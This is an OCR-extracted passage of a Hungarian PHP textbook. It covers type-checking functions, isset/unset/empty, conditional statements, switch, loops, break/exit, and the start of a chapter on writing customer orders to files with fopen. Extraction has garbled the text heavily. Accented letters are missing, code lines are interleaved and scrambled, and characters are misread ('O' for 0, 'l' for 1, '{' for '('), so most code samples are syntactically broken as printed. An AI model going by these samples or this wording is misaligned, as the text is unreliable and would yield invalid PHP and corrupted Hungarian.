
A settype () fggvnynek kt paramtere van: elszr tadjuk neki a vltozt, amelynek meg kvnjuk vltoztaeni a tpu st, majd az j adattpust tartalmaz karakterlncot (a tpust az elz listbl vlaszthatjuk ki).

Megjegyzs: A knyv, akrcsak a php.net dokumentci, tbbszr hivatkozik "mixed'; azaz vegyes adattpusra. Ilyen adatt
pus nem ltezik, de mivel a PHP igen rugalmasan kezeli a tpusokat, sok fggvny szinte brmilyen adattpust elfogad. A sokf " le adattpust elfogad paramtereket jelljk "mixed tpusknt.
A kvetkezkppen hasznlhatjuk ezeket a fggvnyeket:

$a

56;
'double');

echo gettype($a). '<br />'; settype($a, echo gettype($a). '<br />';

A gettype () els hvsakor az $a integer tpus. A settype () hvsa utn tpusa double-ra vltozik. A PHP adott tpusok ellenrzsre alkalmas fggvnyeket is knl. Mindegyiknek egy vltoz a paramtere, s true vagy
false rtket ad vissza. Az albbi fggvnyek tartoznak ide: is_array()-Megllaptja, hogy a vltoz tmb-e. is_double(),is_float(),is_real() (ugyanaz a fggvny)-Megllaptja, hogy a vltoz float tpus-e. is_long(),is_int(),is_integer() (ugyanaz a fggvny)-Megllaptja, hogy a vltoz integer tpus-e. is_ string()-Megllaptja, hogy a vltoz string tpus-e.

PHP gyorstalpal

31

is_bool () -Megllaptja, hogy a vltoz boolean tpus -e. is_object () -Megllaptja, hogy a vltoz object tpus-e. is_resource() - Megllapga, hogy a vltoz resource tpus-e. is_ null () - Megllaptja, hogy a vltoz null tpus-e. is_scalar() - Megllapga, hogy a vltoz skalris-e (integer,boolean, string vagy float tpus valamelyike). is_numeric() - Megllapga, hogy a vltoz valamilyen szm vagy numerikus szveg-e. is_callable ()-Megllaptja, hogy a vltoz egy rvnyes fuggvny neve-e.

Vltozk llapotnak ellenrzse


A PHP szmos fuggvnnyel segti a vltozk llapotnak meghatrozst. Az els ilyen az is set (),amelynek prototpusa a kvetkez:
bool isset(mixed valtozo); [;mixed valtozo[,

.. . ]])

A fuggvny vltoznevet fogad paramterknt, s true rtket ad vissza ltez vltoz esetn, egybknt pedig false-t. Ha vltoznevek vesszvel elvlasztott listjt adjuk az is set ()-nek,a fuggvny akkor tr vissza true rtkkel,ha az sszes vltoz ltezik. Az unset() fuggvnnyel megszntethetnk vltozkat. A fuggvny prototpusa a kvetkez: void unset(mixed valtozo); [;mixed valtozo[, . ..]]) A fuggvny eltvoltja a neki radott vltozt. Az empty ( ) fuggvnnyel ellenrizhetjk vltoz megltt s azt, hogy nem res,nem nulla rtkkel br; ennek megfelelen
true vagy false rtket ad vissza. Prototpusa a kvetkez: bool empty(mixed valtozo);

Nzznk pldt ennek a hrom fuggvnynek a hasznlatra! tmenetileg adjuk kdunkhoz a kvetkez sorokat:
echo ech o echo echo 'isset($abroncs_db): 'isset($nincs_i lyen) : 'empty($abroncs db): 'empty($nincs_ilyen): '.isset($abroncs db). '<br />'; '. isset($nincs ilyen). '<br />'; '.empty($abroncs_db). '<br />'; '.empty($nincs i lyen). '<br />';

Frisstsk az oldalt, s nzzk meg az eredmnyt! Az isset() fuggvny az rlapmezbe bevitt rtktl fuggedenll-et (true ) ad vissza az $abroncs_db vltozra,mg akkor is,ha semmilyen rtket nem adtunk meg az rlapon. Az empty () fuggvny ltal visszaadott rtk viszont attl fugg, hogy mit gpeltnk be. A $nincs_ilyen vltoz nem ltezik, ezrt az isset() fuggvny res ( false ) eredmnyt,az empty() pedigl-et

(true) ad vissza.
Ezek a fuggvnyek akkor tudnak igazn hasznunkra vlni,amikor ellenriznnk kell, hogy a felhasznl kitlttte-e egy rlapon a szksges mezket.

Vltozk tpuskonverzija
A vltozk tpusalaktst fuggvnyhvssal is elrhetjk. Az albbi hrom fuggvny hasznlhat erre a clra:
int intval(mixed valtozo[, int alap]); float floatval(mixed valtozo); string strval(mixed valtozo);

Mindegyik vltozt fogad paramterknt, s annak megfelel tpusra alaktott rtkt adja vissza. Az intval() fuggvny nl mg a konvertls alapjt is meghatrozhatjuk, ha az talaktani kvnt vltoz szveg. (gy pldul egsz szmm alaktha runk hexadecimlis karakterlncokat.)

Dntshozatal feltteles utastsokkal


A vezrlsi szerkezetek olyan programnyelvi elemek, amelyekkel a program vagy kd vgrehajtsnak menett szablyozhatjuk. Feltteles utastsokra (elgazsokraJ s ismtld szerkezetekre ( ciklusokraJ bonthatk. Ha szeretnnk reaglni a felhasznl ltal megadott rtkre vagy vlaszra, kdunknak tudnia kell dntseket hozni. A prog ramot dntshozatalra ksztet programnyelvi elemeket Jeltteles

utastsoknak nevezzk.

32

2. fejezet

if

utastsok

Az if utastst dntshozsta hasznlhatjuic A dntshez meg kell adnunk a kirtkelend felttelt. Amennyiben az true,

vagyis igaz, akkor a kvetkez kdblokk fog vgrehajtdni. Az if utasts felttelt zrjelek {) kz rjuic Ha pldul a ltogat nem rendel Bobtl sem gumiabroncsot, sem olajat, sem gyertyt, akkor elkpzelhet, hogy vletlenl mr az rlap kitltsnek befejezse eltt rkattintott a.,Rendels kldse" gombra. Ekkor ahelyett, hogy kzlnnk a vevvel, hogy megrendelst feldolgoztuk, jobb lenne, ha az oldal hasznos zenetet jelentene meg szmra. Amikor a ltogat egyetlen ttelt sem rendel. kzlheljk vele pldul azt, hogy.. Egyetlen ttelt sem rendelt az elz olda lon!" Ezt egyszeren megteheljk az albbi if utastssal:
if{ $osszmennyiseg ==

O ) O, vagyis a rendelt ttelek sszege nulla. Emlkezznk vissza,


ha az $osszmennyiseg nullval egyenl. Ameny

echo 'Egyetlen ttelt sem rendelt az elz oldalon!<br />';

Az itt hasznlt felttel az, hogy az $osszmennyiseg

==

hogy az egyenl mveleti jel ( ==) eltren mkdik, mint az rtkad opertor ( = ) ! Az $osszmennyiseg == O felttel akkor teljesl s lesz true, utasts lesz vgrehajrva. nyiben az $osszmennyiseg rtke nem nulla, a felttel nem teljesl, azaz false lesz. A felttel teljeslse esetn az echo

Kdblokkok
Gyakran elfordul, hogy feltteles utasts, pldul az if teljeslstl fggen egynl tbb utastst szecetnnk vgrehajtani. Az utastsokat blokkokba csoportosthatjuk. A blokkot kapcsos zrjelekkel fogjuk krl:
if {$osszmennyiseg ==

0)

echo '<p style="color:red">'; echo 'Egyetlen ttelt sem rendelt az elz oldalon!'; echo '</p>' ;

A kapcsos zrjelek ltal kzrefogott hrom sor immr egy kdblokkot kpez. A felttel teljeslse esetn rnindhrom sor vgreh:Ytdik. Ha a felttel nem teljesl. akkor az alkalmazs nem foglalkozik ezzel a hrom sorral.

Megjegyzs: Mint mr utaltunk r, a PHP-t nem rdekli kdunk elrendezse. Olvashatsgi okokbl azonban rdemes beh zsokkal tagolni kdunkat. Behzs hasznlatval szempillants alatt lthatjuk, hogy mely sarok hajtdnak vgre az ifjelttelek teljeslsekor, mely utastsok vannak az adott blokkokba csoportostva, s mely utastsok kpezik ciklusok vagyJggvnyek rszt. Az elz pldkban lthatjuk, hogy az if utaststl fgg utasts, illetve a blokkat alkot utastsok behzva jelennek meg. utastsok

e ls e

Gyakran nem csak arra van szksgnk, hogy eldnthessk, szeremnk-e egy mveletet vgrehajtani vagy nem, hanem a vizs glt felttel nem teljeslsnek esetre is szecetnnk megadni a lehetsges tennivalkat. Az else utastssal meghatrozhaljuk azt a mveletet, atrtit az if utastsban megadott felttel nem teljeslse esetn kell vgrehajtani. Tegyk fel, hogy figyelmeztetni szeretnnk Bob gyfeleit, ha resen kldik el a megrendelst! Ha viszont rendel nek valamit, akkor a figyelmeztets helyett a rendelsket szeretnnk megjelenteni szmukra. Ha tdolgozzuk a kdot, s else utastssal egszljk ki, a vsrl lpstl fggen figyelmeztetst vagy a rendels ssze foglalst is megjelentheljk szmra:
if {$osszmennyiseg
==

0)

echo "Egyetlen ttelt sem rendelt az elz oldalon!<br />"; else echo $abroncs db." gumiabroncs<br />"; echo $olaj_db." flakon olaj<br />"; echo $gyertya_db." gyjtgyertya<br />";

Az if utastsok egymsba gyazsval bonyolultabb logikai mveleteket is vgrehajthatunk. A kvetkez kd esetn a figyel
meztets akkor jelenik meg, ha az $osszmennyiseg == O felttel teljesl, a rendels sszefoglalsnak sorai pedig csak akkor jelennek meg, amennyiben a vev az adott termkbl rendelt valamennyit:
if ($osszmennyiseg ==

0)

echo "Egyetlen ttelt sem rendelt az elz oldalon!<br />";

PHP gyorstalpal

33

} else {
if {$abroncs_db > 0) echo $abroncs_db." gumiabroncs<br />"; if {$olaj_db > 0) fiakon olaj<br />";

echo $olaj_db." if

($gyertya_db > 0)

echo $gyertya_db." gyjtgyertya<br />";

elseif

utastsok

Szmos olyan dnts ltezik, amikor kettnl tbb lehetsgnk van. Klnbz kimenetek sorozatt teremthetjk meg az
elseif utastssal, amely egy else s egy if utasts kombincija. Amikor felttelek sorozatt hatrozzuk meg, a prog

ram mindegyiknek a teljeslst ellenrzi - egszen addig, amg valamelyik igaznak nem bizonyul. Bob kedvezmnyt ad a nagyttelben vsrolt gumik utn. A kedvezmnyek rendszere a kvetkezkppen mkdik: 10-nl kevesebb gumiabroncs vsrlsa - nincs kedvezmny 10-49 gumiabroncs vsrlsa- 5 %kedvezmny 50- 99 gumiabroncs vsrlsa- 10 %kedvezmny 100 vagy tbb gumiabroncs vsrlsa- 15 %kedvezmny A kedvezmnyeket Iciszmol kdot felttelek, illetve if s elseif utastsok hasznlatval rhatjuk meg. Ebben az esetben
az

AND mveleti jellel


$kedvezmeny =

(&&) kombinlhatjuk ssze a kt felttelt:


10)

if ($abroncs_db <

{
10) ($abroncs db <= 49))

O;
&&

elseif (($abroncs db >= $kedvezmeny


=

5;
&&

elseif (($abroncs_db >= 50) $kedvezmeny = 10; elseif ($abroncs_db >= 100) $kedvezmeny = 15;

($abroncs_db <= 99))

rdemes tudni, hogy rhatunk elseif s else if formt is- mindkt vltozat egyarnt helyes. Ha tbb elseif utastst runk, ne felejtsk el, hogy a blokkok vagy utastsok kzl csak egy lesz vgrehajtval Ez itt nem okoz gondot, mett a felttelek klcs nsen kizrjk egymst, egyszerre csak az egyik teljeslhet. Ha azonban olyan felttelekkel dolgozunk, amelyek kzl egyszerre egynl tbb is teljeslhet, akkor mr van jelentsge annak, hogy csak az els reljeslt felttelt kver blokk vagy utasts lesz vgrehatjva.

switch

utastsok

A switch utasts az if utastshoz hasonlan mkdik, de lehetv teszi, hogy a felttel kettnl tbb rtket vegyen fel. Az if utastsban szerepl felttel csak igaz vagy hamis lehet. A switch utastsbeli felttel tetszleges szm klnbz rtket felvehet, feltve, hogy az egyszer tpusknt (integer, string vagy float) rtkeldik ki. Minden egyes kezelni kvnt r tkhez case utastst adunk, illetve rdemes egy alaprtelmezett ( default ) esetet is meghatrozni, amely a case utasts sal nem lefedett rtkek esetn lesz vgrehajtva. Bob tudni szeretn, hogy melyik hirdetsei vltak be, ezrt mg egy krdst kell adnunk a megrendelsi rlaphoz. Szrjuk be
az

rlapba a kvetkez HTML kdot, ekkor az rlap az 1.6 brn lthathoz hasonlan fog megjelenni:
<td>Honnan h allott Bob autalkatrsz-boltjrl?</td>

<tr>

<td><select name="honnan- h allott-rolunk"> <option value <option value <option value <option value </select> <ltd> </tr> "a">Visszatr6 vsrl vagyok</option> "b">Tvreklm</option> "c">Telefonknyv</option> "d">Ismer6st61, bart tl</option>

34

2. fejezet

1.6 bra: A

rendelsi rlap azt krdezi a ltogatktl, honnan hallottak Bob alkatrszbolljrl.


lehet. if s

A HTML kd j vltozt vezet be (neve honnan_hallott_rolunk) , rtke 'a', 'b', 'c' vagy 'd'
elseif

utastsok sorozatval a kvetkezkppen kezelhetjk ezt az j vltozt:


==

if ($honnan hallott_rolunk

"a")

l
"b")

echo "<p>Visszatr6 vsrl.</p>"; elseif ($honnan hallott relunk


==

echo "<p> Tvreklmban hallott Bobrl.</p>"; elseif ($honnan_hallott_rolunk


==

"c")

echo "<p> Telefonknyvben tallta Bobot.</p>"; elseif ($honnan_hallott_rolunk echo "<p>Ismer6st61, else echo "<p>Nem tudjuk, honnan ismeri Bobot.</p>";
==

"d")

barttl hallott Bobrl.</p>";

Ugyanezt rjk el egy switch utasts segtsgvel is:


switch($honnan_hallott_rolunk) case "a" :

echo "<p>Visszatr6 vsrl.</p>"; break; case "b" : Tvreklmban hallott Bobrl.</p>";

echo "<p> break; case "c" :

echo "<p> Telefonknyvben tallta Bobot.</p>"; break; case "d" : barttl hallott Bobrl.</p>";

echo "<p>Ismer6st61, break; default :

echo "<p>Nem tudjuk, break;

honnan

ismeri

Bobot.</p>";

(Mindkt plda azt felttelezi, hogy a $_POST tmbbl nyerrk ki a $honnan_hallott_relunk vltozt.) A switch utasts az if s elseif utaststl kiss eltren mkdik. Az if utasts egyeden utastsra vagy kapcsos zrjelekkel ltrehozon kd blokkra hat. A switch ppen ellenttes mdon mkdik. Amikor egy switch utastsban lv case utasts aktivldik, a PHP a kvetkez break utastsig tallhat sszes kdot vgrehajtja. break utasts nlkl a switch a teljeslt felttel utni sszes utastst vgrehajtja. Amikor elri a break utastst, a switch utni kvetkez sorral folytatja a kd vgrehajtst.

A klnbz; feltteles utastsok sszehasonltsa


Aki nem hasznlta mg az elz rszekben bemutaton utastsokat, feltehem a krdst, hogy melyik a legjobb. Nem igazn ltezik j vlasz erre. Amit egy vagy tbb else, elseif vagy switch utastssal megrehetnk, az if utastsok sorozatval is elrhet. Az adon helyzetben a programoz szmra legjobban olvashat (rtelmezhet) feltteles utastst kell hasznlnunk. Ahogy egyre tbb tapasztalatot szerznk, gy lesz egyre knnyebb rrezni, hogy az adon szituciban melyik utastst kell vlasztanunk.

PHP gyorstalpal

35

Mveletek ismtlse itercival


A szmtgpek nundig is kivlan alkalmasak voltak az ismtld feladatok automatizlsra. Ha valamit ugyangy kell meghatrozott alkalommal vgrehajtani, akkor ciklussal ismtelhetjk meg a program adott rszeit. Bob szeretn a kiszllrsi kltsget tartalmaz tblzatot megjelenteni s hozzadni a vevi megrendelshez. A Bob ltal ignybe vett futrszolglatnl a kiszllrsi dij a tvolsgtl fgg. A kltsg egyszer kpleetel kiszmthat. Azt szeretnnk, hogy a kiszllrsi tblzat
ll nlll ,IM <>

l l

az

1.7 brn lthathoz hasonl legyen.


.. "':, -

.,
100 150 200 20 10 IS 20 2S

1.7 bra: A tblzat azt mutalja, hogy a tvolsg nvekedsvel egytt emelkedik a kiszllts kltsge.

Az 1.2 pldakd az ezt a tblzatot megjelent HTML kdot mutatja. Lthatjuk, hogy hossz s ismtld.
1.2 pldakd: kiszalli t as. html
<html> <body> <table border="O" cellpadding="3"> <tr> <td bgcolor="#CCCCCC" align="center">Tvolsg</td> <td bgcolor="ICCCCCC" align="center">Kltsg</td> </tr> <tr> <td align="right">SO</td> <td align="right">S</td> </tr> <tr> <td align="right">lOO</td> <td align="right">lO</td> </tr> <tr> <td align="right">lSO</td> <td align="right">lS</td> </tr> <tr> <td align="right">200</td> <td align="right">20</td> </tr> <tr> <td align="right">250</td> <td align="right">25</td> </tr> </table> </body> </html>
-

Bob kiszlltsi tblzatnak HTML kdja

36

2. fejezet

Ahelyett, hogy rabrben fizetett s knnyen fsultt vl alkalmazottal gpeltetjk be a HTML kdot, rdemes az olcs s fradhatatlan szmtgpet hasznlni erre. Az utastsokat ciklusba helyezve kiadjuk a PHP-nek, hogy ismtlden hajtsa

vgre az utastst vagy kdblokkot.

wh i

l e ciklusok

A legegyszerbb ciklus a PHP-ben a while. Az if utastshoz hasonlan ennek mkdse is egy feltteltl fligg. A while ciklus s az if utasts kztt az a klnbsg, hogy az utbbi csak egyszer hajtja vgre az utna lev kdot, s csak akkor, ha a megadott felttel teljesl. A while ciklus mindaddig ismtlden vgrehajtja a blokkot, amg a felttel teljesl. A while ciklust jellemzen akkor hasznljuk, amikor nem tudjuk, hny ismtlds fog bekvetkezni addig, amg a felttel igaznak bizonyul. Ha meghatrozott szm ismtldsre van szksg, rdemes inkbb a for ciklust hasznlni. A while ciklus alapstruktr:ija a kvetkez:
while( felttel ) kifejezs;

A kvetkez while ciklus 1-tlS-ig jelenti meg a szmokat:


$num = l; while ($num <=

5 ) {

echo $num."<br />"; $num++;

Minden ismtlds elejn a kd teszteli a felttel teljeslst. Ha a felttel hams, a blokk nem hajtdik vgre, s vget r a ciklus. A ciklus utni kvetkez utastssal folytatdik a kd futsa. A while ciklusok ennl hasznosabb dolgokra, pldul az 1.7 brn lev, ismtld tblzat megjelentsre is kpesek. Az 1.3 pldakd while ciklussal lltja el a djtblzatot.

1.3 pldakd: kiszallitas.php -Bob kiszlltsi tblzatnak ellltsa PHP-vel


<html> <body> <table border="O" cellpadding="3"> <tr> <td bgcolor="#CCCCCC" align="center">Tvolsg</td> <td bgcolor="#CCCCCC" align="center">Kltsg</td> </tr> <?php $tavolsag =

50; 250) {

while ($tavolsag <= echo "<tr>

<td align=\"right\">".$tavolsag."</td> <td align=\"right\">".($tavolsag </tr>\n"; $tavolsag +=

l 10). "</td>

50;

?> </table> </body> </html>

A kd ltal generlt HTML olvashatv ttelhez j sorokat s szkzket kell beillesztennk. Ahogy mr jeleztk, a bn gszk ugyan figyelmen kvl hagyjk a fehrkz karaktereket, m az emberek rniatt szksg van rjuk. Hiszen, ha a kimenet nem teljesen egyezik meg a vrttal, gyakran kell a HTML kdot bngsznnk. Az 1.3 pldakdban \n karaktereket lthatunk egyes szetingeken bell. Ha ketts idzjelben lv szvegben szerepel, akkor ez a karaktersor jsor karaktert jelent.

PHP gyorstalpal

37

for s fo reach ciklusok


Aw hile ciklusokat gyakran hasznljuk az elz rszben ltott mdon. Bellrunk egy szmllt, amivel a ciklus indul. Min

den ismtldse eltt a felttelben ellenrizzk a szmllt, a vgnl pedig mdostjuk annak rtkr.
for ciklus segtsgvel ennl rvidebben is rhatunk ilyen stlus ciklust. A for ciklus alapszerkezere a kvetkez: for( kifejezsl;

felttel; kifejezs2)

kifejezs];
Kezdskor vgrehajtdik a kifejezs l. Itt ltalban a szmll kezdeti rtkt llguk be. Minden egyes ismtlds eltt a felttel ben szerepl kifejezs rtkeldik ki. Ha a kifejezs hamis, az ismtlds
-

vget r. Itt ltalban egy rtkhatrral hasonlgak ssze a szmllt. Minden ismtlds vgn vgrehajtdik a kifejezs2. Itt ltalban mdosguk a szmll rtkr.
Akifej e zs3 ismtldsenknt egyszer hajtdik vgre. Ez ltalban egy kdblokk, amely a ciklus kdjnak lnyegr

tartalmazza.
Az 1.3 pldakdban szerepl wh ile ciklust trhatjuk for cikluss. Ebben az esetben a PHP kd a kvetkezkppen

nz ki:

<?php
for ($tavolsag = 50; $tavolsag <= 250; $tavolsag += 50} echo "<tr> <td align=\"right\">".$tavolsag."<ltd> <td align=\"right\">". ($tavolsag l 10) ."<ltd> <ltr>\n";J {

?>
Mkdsket tekintve a while s a for ciklust hasznl vltozatok egyenrtkek. A for ciklus valamivel tmrebb, kt sort megsprolhatunk vele.
Akr ciklustpus egyenrtk, egyik sem rosszabb vagy jobb, mint a msik. Minden helyzetben azt a ciklust hasznljuk,

amir sztnsen vlasztannk! Vltoz vltozkat for ciklussal kombinlva ismtld rlapmezk sorozatt jrhatjuk be. Ha pldul nevl, nev2, nev3 stb. nev rlapmezkkel dolgozunk, akkor a kvetkezkppen dolgozhatjuk fel ezeket:
for ($i=l ; $i <= $nevek_szama; $i++} { $temp= "nev$i"; echo $$temp.'<br l>'; ll vagy amilyen ms feldolgozsi mdszerre van szksgnk Avltoznevek dinamikus ltrehozsval

az

sszes vlrozt egyenknt elrhegk.

Afor ciklus mellett foreach ciklus is ltezik, amit kifejezetten a tmbkkel vgzett munkra alakrottak ki. Hasznlat

val a 3. fejezetben ismerkednk meg.

do ...while ciklusok
Az urolsknt bemutatand ciklustpus enyhn eltr mdon viselkedik. A do...while ltalnos szerkezete a kvetkez: do

kifejezs;
while( felttel } ; A do ...while ciklus abban klnbzik a while ciklusrl, hogy a felttel ellenrzsre a vgn kerl sor (htultesztels

ciklus). Ezt azt jelenti, hogy a do... while ciklus esetn a benne lev urasrs vagy blokk minden esetben legalbb egyszer vgrehajtdik. Mg a kvetkez pldban is, amelyben a felttel mr az elejn nem teljesl- s soha nem is fog-, a ciklus egyszer lefut, mieltt ellenrizn a felttelt s lellna:
$num = 100; do{ echo $num."<br l>"; }while ($num < l

Kiugrs vezrlsi szerkezetbl vagy kdbl


Ha szeremnk lelltani egy kdrszlet vgrehajtst, az elrni kvnt eredmnyrl fggen hrom megkzelts kzl vlasztharunk.

38

2. fejezet

Amennyiben ciklus vgrehajtst akarjuk meglltani,akkor a switch utastst bemutat rszben trgyalt break utas

tst kell hasznlni. Ha ciklusorr bell break utastst hasznlunk, a kd vgrehajtsa a ciklus utni kvetkez kdsorral fog folytatdni. Ha a ciklus kvetkez ismtldsre kvnunk ugrani,akkor a continue utastst kell alkalmaznunk. Ha a teljes PHP kd vgrehajrsr akarjuk befejezni,akkor az ex it utastst hasznljuk. Ez a faj ra megkzelts jellemzerr hibaellenrzskor lesz hasznos. Pldul a kvetkezkppen mdosrhaguk az elz pldt:
if($osszmennyiseg == echo exit;

0) {

"Egyetlen ttelt sem rendelt az el6z6 oldalon!<br l>";

Az ex it meghvsa megakadlyozza, hogy a PHP leftmassa a kd htralev rszr.

Alternatv vezrlsi szerkezetek alkalmazsa


Az eddig ttekintett sszes vezrlsi szerkezethez ltezik egy alternatv szintaktika is. Ez abbl ll, hogy a kezd kapcsos zr

jel({),ms nven az utasts zrjel helyett kettspontot (:),a zr kapcsos zrjel helyett pedig egy j kulcsszt hasznlunk, amely a hasznlt vezrlsi szerkezettl fggerr endif, endswitch, endwhile, endfor vagy endforeach lehet. A do ...
while

ciklus esetn az ilyen vezrlsi szerkezer nem hasznlhat.


{

Pldul az albbi kdot:


if ($osszmennyiseg == 0) echo exit; "Egyetlen ttelt sem rendelt az el6z6 oldalon!<br l>";

az

if

s endif kulcsszval trhag uk a msik szintaktikra is:


0) :
"Egyetlen ttelt sem rendelt az el6z6 oldalon!<br l>";

if

($osszmennyiseg == echo exit;

endif;

A declare szerkezet hasznlata


A PHP egy msik vezrlsi szerkezett, a declare-t a mindennapi programozs sorn a tbbihez kpes ritkbbarr hasznl juk. Ennek az ltalnos formja a kvetkez:
declare (direktva)

ll blokk }

Ezzel a szerkezetteljuttatsi direktvkat lltunk be-vagyis szablyokat arra vonatkozan, hogyan fusson le a kvetkez kd. Jelenleg egyetlen,a tick nev futtatsi direktva van belltva. A ticks=n direktva beszrsval kapcsoljuk be. Lehetv teszi,hogy a kdblokk rninden n. sorban futtassunk egy adott fggvnyt, amely elssorban a profilozs s hibakeress esetn hasznos. A declare vezrlsi szerkezeter itt csak a teljessg kedvrt emltettk meg. A tick fggvnyek hasznlatt bemutat pldkkal a 25. (PHP s MySQL hasznlata nagyobb projektekhez) s a 26. fejezetben (Hibakeress) tallkozunk.

Hogyan tovbbi
Mosr mr tudjuk, hogyan fogadjuk s kezeljk a vevk megrendelseit. A kvetkez fejezerben megranuljuk, hogyan troljuk el azokat,hogy a ksbbiekben visszakereshetk s teljesrhetk legyenek.

2
Adatok trolsa s visszakeresse
Most, hogy mr tisztban vagyunk azzal, hogyan rjk el s kezelhetjk a HTML rlapba bevirt adatokat, nzzk meg, miknt lehet ksbbi felhasznls cljbl eitroini azokat! Az esetek tbbsgben - ahogy az elz fejezet pldjban is - pontosan ez a clunk: a ksbbi visszakereshetsg rdekben eitroini az adatokat. A pldban az gyfelek megrendelseit fogjuk eltrolni, majd ksbb betlteni. Ebben a fejezetben megranuljuk, hogyan rhatjuk az elz pldbl szrmaz megrendelseket fjlba, illetve hogyan olvas hatjuk vissza azokat. Az is kiderl, hogy mirt nem minden esetben lesz ez j megolds. Ha nagyszm megrendelssel dolgo zunk, rdemes inkbb adatbzis-kezel rendszert, pldul MySQL-t hasznlni. A fejezetben az albbi fbb tmakrket rintjk: Adatok elmentse ksbbi hasznlat cljbl Fjl megnyitsa Fjl ltrehozsa s fjlba rs Fjl bezrsa Olvass fjlbl Fjlok zrolsa Fjlok rrlse Egyb hasznos fjlfggvnyek hasznlata Egy jobb mdszer; adatbzis-kezel rendszerek hasznlata

Adatok elmentse ksbbi hasznlat cljbl


Az adartrols kt alapvet mdja az egyszer fjlokban s az adarbzisban trtn trols.

Az egyszer fjl sokfle formtum lehet, de az ilyen fjlok alatt ltalban egyszer szveges fjlt rtnk. A fejezet pldj ban szveges fjlba rjuk az gyfelek megrendelseit gy, hogy minden sorba egy megrendels kerl. A megrendelsek ilyetn trolsa igen egyszer, m nagymrtkben beszkiti majdani lehetsgeinket, ahogy azt a fejezet ksbbi rszben ltni fogjuk. Ha jelents mennyisg informcival dolgozunk, clszerbbnek fogjuk tallni adatbzis hasz nlatt. Az egyszer fjloknak is megvan azonban a maguk haszna, s bizonyos helyzetekben jl jn, ha tudjuk hasznlni ket. A fjlba rs s fjlbl olvass folyamata sok programozi nyelvben hasonl. Azok, akik programoztak mr C-ben, vagy rtak mr Unix shell szkripteket, ismersnek fogjk tallni ezeket az eljrsokat.

Bob megrendelseinek eltrolsa s visszakeresse


Ebben a fejezetben az elzben megismert megrendel rlap kiss mdostort vltozatval fogunk dolgozni. Kezdjk a munkr ezzel az rlappal, illetve a megrendelsi adatok feldolgozsra rt PHP kddal!

Megjegyzs: A fejezetben hasznlt HTML s PHP kdokat a http:/lwww.perfactkiado.hu/mellekletek oldalrl letlthet

mellkletek OlJejezet mappjban talijuk.


Mdostortk szmunkra az rlapot, hogy egyszeren megtudhassuk a vev szlltsi cmt is. A mdostort rlapot a 2.1 brn lthatjuk.

40

2. fejezet

Bob autalkatrszek Rendelsi urbp

====::::J
---- --

-=.--=.cd.__-----------,

2
_

2.1 bra: A

megrendelsi rlapjelen vltozata a vev szlltsi cmt is kri.


_

A szlltsi cmhez tartoz rlapmez neve szalli tasi eim. Az gy kapott vltozt az rlap adaekldsi metdustl fggen$ REQUEST ['szalli tasi_eim ] ,$ POST [ 'szalli tasi_eim' l vagy$_GET ['szalli tasi_eim' l for
' _

mban rjk el. (A rszletekrt lsd a PHP

gyorstalpal cm l. fejezetet!)

A mostani fejezet sorn ugyanabba a fjlba rjuk a berkez megrendelseket. Ezt kveten elksztjk Bob alkalmazottai szmra az internetes felletet, ahol megtekinthetik a berkezett megrendelseket.

Fjlok feldolgozsa
Az adatok fjlba rshoz hrom lpsre van szksg:
l. A fjl megnyitsa. Amennyiben a fjl mg nem ltezik, ltre kell hoznunk. 2. Adatok rsa a fjlba. 3. A fjl bezrsa.

Hasonlkppen hrom lpst ignyel a fjlban lv adatok beolvassa is.


l. A fijl megnyitsa. Amennyiben a megnyits nem lehetsges (pldul azrt, mert nem ltezik a fjl), ezt fel kell ismernnk,

s a megfelel visszajelzst kell adni a felhasznlnak.


2. Adatok olvassa a fjlbL 3. A fijl bezrsa.

Amikor fjlbl kivnunk adatokat beolvasni, tbbfle vlasztsi lehetsgnk van arra vonatkozan, hogy egyszerre a fjl mekkora rszt olvassuk be. A leggyakoribb lehetsgeket rszletesen bemutatjuk. Egyelre azonban kezdjk a dolgot a legele jn, a fjl megnyitsva!!

Fjl megnyitsa
A fjlok PHP-beli megnyitshoz az fo pen ( ) fggvnyt hasznljuk. Amikor megnyirunk egy llomnyt, meg kell hatroz nunk, hogy miknt kivnjuk hasznlni. Ezt a megnyitsi

md segtsgvel tehetjk meg.

megfelel megnyitsi md kivlasztsa

A szerver opercis rendszernek tisztban kell lennie azzal, hogy mit szerernnk tenni az ppen megnyrni kivnt fjllal. Tudnia kell, hogy amg ltalunk meg van nyitva az llomny, ms kd egyltaln megnyithatja-e, illetve hogy mi (vagy a kd tulajdonosa) rendelkeznk-e egyltaln jogosultsggal a kivnt mdon hasznlni a fjlt. A megnyitsi mdok lnyegben olyan mechanizmust adnak az opercis rendszernek, amivel meg tudjk hatrozni, miknt kezelje a ms felhasznlktl vagy k doktl rkez hozzfrsi krseket, s mdszert knlnak annak ellenrzsre, hogy van-e hozzfrsnk s jogosultsgunk az adott fjlhoz. Fjl megnyitsakor hrom dntst kell hoznunk:
l. A fjlt megnyithatjuk csak olvassra, csak rsra, vagy rsra s olvassra is. 2. Amikor fjlba runk, fellrhatjuk a meglv fjl jelenlegi tarcalmt, vagy j adatokat fzhetnk a vghez. Ltez fjl ese

tn fellrs helyerr azt is megcehetjk, hogy jelezzk a felhasznlnak a fjl megltt, majd a fjl mdostsa nlkl kilpnk a programbl.
3. Amennyiben a binris s szveges fjlokat megklnbztet rendszeren prblunk meg fjlba rni, azt is meg kell hatroz

nunk, hogy binrisknt vagy szvegesknt akarjuk-e kezelni a fjlt. Az fopen ( ) fggvny e hrom lehetsg tetszleges kombincijt tmogatja.

Adatok trolsa s visszakeresse

41

Fjl megnyitsa az; fopen ( ) fggvnnyel


Tegyk fel, hogy megrendelst szeretnnk rni Bob rendelseket eltrol llomnyba! A kvetkezkkel tudjuk megnyieni
a

fjlt rsra:
=

$fp

fopen ("$DOCUMENT_ROOT/../rendelesek/rendelesek. txt",

'w');

Az fopen ( ) fggvny meghvsakor kett, hrom vagy ngy paramtert vr. ltalban kettt lthatunk, mint a fenti kd sorban is. Az els paramter a megnyitni kivnt fjl legyen! Megadhatjuk elrsi tvonalt, mint ebben a pldban is; jelen esetben
a r endele sek.

txt fjl a rendelesek mappban tallhat. A $ _ SERVER [ 'DOCUMENT_ROOT' l

beptett PHP vlto-

